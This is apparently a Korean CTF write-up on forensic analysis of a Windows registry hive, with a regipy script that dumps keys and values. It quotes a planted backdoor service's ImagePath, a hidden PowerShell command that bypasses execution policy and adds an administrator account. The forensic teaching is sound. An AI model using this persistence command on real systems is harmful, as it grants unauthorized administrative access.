Extracurricular

[CTF] 문제풀이: Shadow (윈도우 레지스트리 분석)

iseop 2025. 4. 27. 20:24

대충 시스템 침해 이후 윈도우 레지스트리 하이브의 복사본에 숨겨진 플래그를 찾는 문제이다. 문제에서는 백도어 악성코드가 침투했다는 내용을 제시한다. 레지스트리 편집기의 가져오기 기능을 사용하면 현재 하이브에 merge될까봐 파이썬 regipy 모듈을 통해 하이브를 열어보았다.

from regipy.registry import RegistryHive

hive = RegistryHive('SYSTEM')

for subkey in hive.recurse_subkeys():
    with open('output.txt','a') as f:
        f.write('\n\n')
        f.write(subkey.path)
        f.write('\n\n')
    for value in subkey.values:
        with open('output.txt', 'a') as f:
            f.write(str(value.name))
            f.write(': ')
            f.write(str(value.value))
            f.write('\n')

 

하이브는 30MB정도의 크기였기 때문에 전부 눈으로 보기보다는 CurrentControlSet의 Services 등 백도어를 자동 실행시킬 수 있는 위치를 살펴보면 된다. 문제의 백도어도 여기에 서비스로 등록되어 있었다.

 

여기 말고도 특정 경로의 프로그램을 실행 시 다른 이미지가 실행되게 하는 등 윈도우에는 생각지도 못한 기능들을 위한 레지스트리가 존재한다.

\ControlSet001\Services\WindowsUpadte

ImagePath: C:\Windows\System32\cmd.exe /c powershell.exe -Exec Bypass -WindowStyle Hidden -Command "ping -n 5 127.0.0.1 > nul; net user /add backdoor asdf; net localgroup administrators backdoor /add; echo '{플래그}' > C:\asdf.log"

 

사실 VIM에서 /backdoor 해서 찾았다.